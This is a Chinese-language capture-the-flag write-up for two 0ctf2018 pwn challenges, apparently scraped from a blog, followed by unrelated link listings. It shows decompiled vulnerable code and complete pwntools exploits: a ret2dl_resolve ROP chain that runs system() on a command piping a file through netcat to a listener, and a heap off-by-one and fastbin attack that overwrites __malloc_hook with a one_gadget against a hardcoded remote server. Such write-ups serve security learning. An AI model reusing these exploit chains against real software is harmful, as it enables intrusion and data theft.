0ctf2018 pwn
前言
对 0ctf2018
的 pwn
做一个总结
正文
babystack
漏洞
非常直接的 栈溢出
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
这个题的难点在于 用 python
启动了该程序同时过滤了 stdout
和 stdout
#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256
os.chdir(os.path.dirname(os.path.realpath(__file__)))
def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit()
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()
if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)
利用
无输出,使用 ret to dl_resolve
.
#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256
context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process(fpath)
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
log.info("首先 rop 调用 read, 往 .bss 布置数据")
buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")
#step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system")
p.interactive()
babyheap
漏洞
漏洞位于 update
函数时,可以往分配的内存多写入一字节的数据
int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}
利用
- 利用
off-by-one
来overlap chunk
. 然后利用 分配unsorted bin
的切割机制,拿到libc
地址 - 再次
overlap chunk
,构造0x40
大小的fastbin
,修改0x40
大小的fastbin
的第一个chunk
的fd
为0x61
- 分配一个
0x40
的fastbin
, 此时main_arean->fastbin
中就会出现0x61
, 用来fastbin
攻击 - 再次
overlap chunk
,构造0x60
大小的fastbin
, 修改0x60
大小的fastbin
的第一个chunk
的fd
为main_arean->fastbin
。 fastbin attack
分配到main_arean
, 然后修改main_arean->top
为__malloc_hook - 0x10
, 然后分配内存,修改__malloc_hook
为one_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
env = {"LD_PRELOAD": "./libc-2.24.so"}
# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)
def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content)
def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
code_base = 0x555555554000
gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9))
# gdb.attach(p, gdb_command)
# pause()
allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3
update(0,0x19, "a" * 0x18 + "\x91")
delete(1)
allocate(0x38) # 1
view(2)
p.recvuntil("]: ")
lib = ELF("./libc-2.24.so")
# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68
malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68
one_gad = libc + 0x3f35a
# bins = libc + 0x3c4b78
# bins = malloc_hook
log.info("libc: " + hex(libc))
allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9
delete(5)
delete(6)
delete(8)
update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6
# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8
allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause()
payload = p64(0x0)
payload += p64(0xc1)
update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause()
allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
delete(0)
# delete(1)
delete(2)
allocate(0x58) # 0
allocate(0x58) # 2
payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3
print hex(len(payload))
update(2, len(payload), payload)
delete(0)
allocate(0x28)
payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2
update(11,len(payload), payload)
allocate(0x28)
update(12, 8, p64(one_gad))
log.info("done")
# pause()
allocate(0x10)
p.interactive()
# x/30xg 0x429C0F050000
0ctf2018 pwn的更多相关文章
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- Mac下使用zsh不执行/etc/profile文件
Mac下使用了zsh会不执行/etc/profile文件,当然,如果用原始的是会执行. 转而执行的是这两个文件,每次登陆都会执行: ~/.zshrc与/etc/zshenv与/etc/zshrc 所以 ...
- 关于JSON基础的总结
本文总结自百度百科 JSON 语法规则 JSON 语法是 JavaScript 对象表示语法的子集. 数据在键值对中 数据由逗号分隔 花括号保存对象 方括号保存数组 JSON 名称/值对 JSON 数 ...
- 过虑器应用之1-设置request编码
一:设置Post编码 post请求接收中文,需要在Servlet里写上 request.setCharacterEncoding("UTF-8"); 否则默认以iso-8859-1 ...
- oracle_jdbc_Query
本例子程序是根据马士兵老师所讲+自己的注释.写的比较全面,特别是最后释放资源的代码. package com.ayang.jdbc; import java.sql.*; public class T ...
- LINUX 下 NMAP 内网扫描
#1.扫描内网存活主机 nmap -sP 10.2.24.* |grep for > tmp #2.扫描主机端口 nmap -A -T4 192.168.1.2 #3.扫描主机的所有端口 nma ...
- 【jQuery源码】jQuery对象初始化
看了一下午还是有很多地方没弄明白,jQuery的一些工具方法的原理也不完全清楚,这篇文章会随着我深入阅读jQuery源码的同时不断更新. // Initialize a jQuery object / ...
- 【数组】Container With Most Water
题目: Given n non-negative integers a1, a2, ..., an, where each represents a point at coordinate (i, a ...
- 极光推送android sdk集成步骤
推送,用极光,大家都说好,哈哈. 进入正题: 1.确认android studio的 Project 根目录的主 gradle 中配置了jcenter支持.(基本上现在都已经支持了,循例说一下) , ...
- javac后期需要重点阅读的类
(1)Annotate (300行) Enter annotations on symbols. Annotations accumulate in a queue,which is processe ...
- Java的try-catch-finally
Javac语法糖之TryCatchFinally 如下引用文章:https://help.semmle.com/wiki/display/JAVA/Finally+block+may+not+comp ...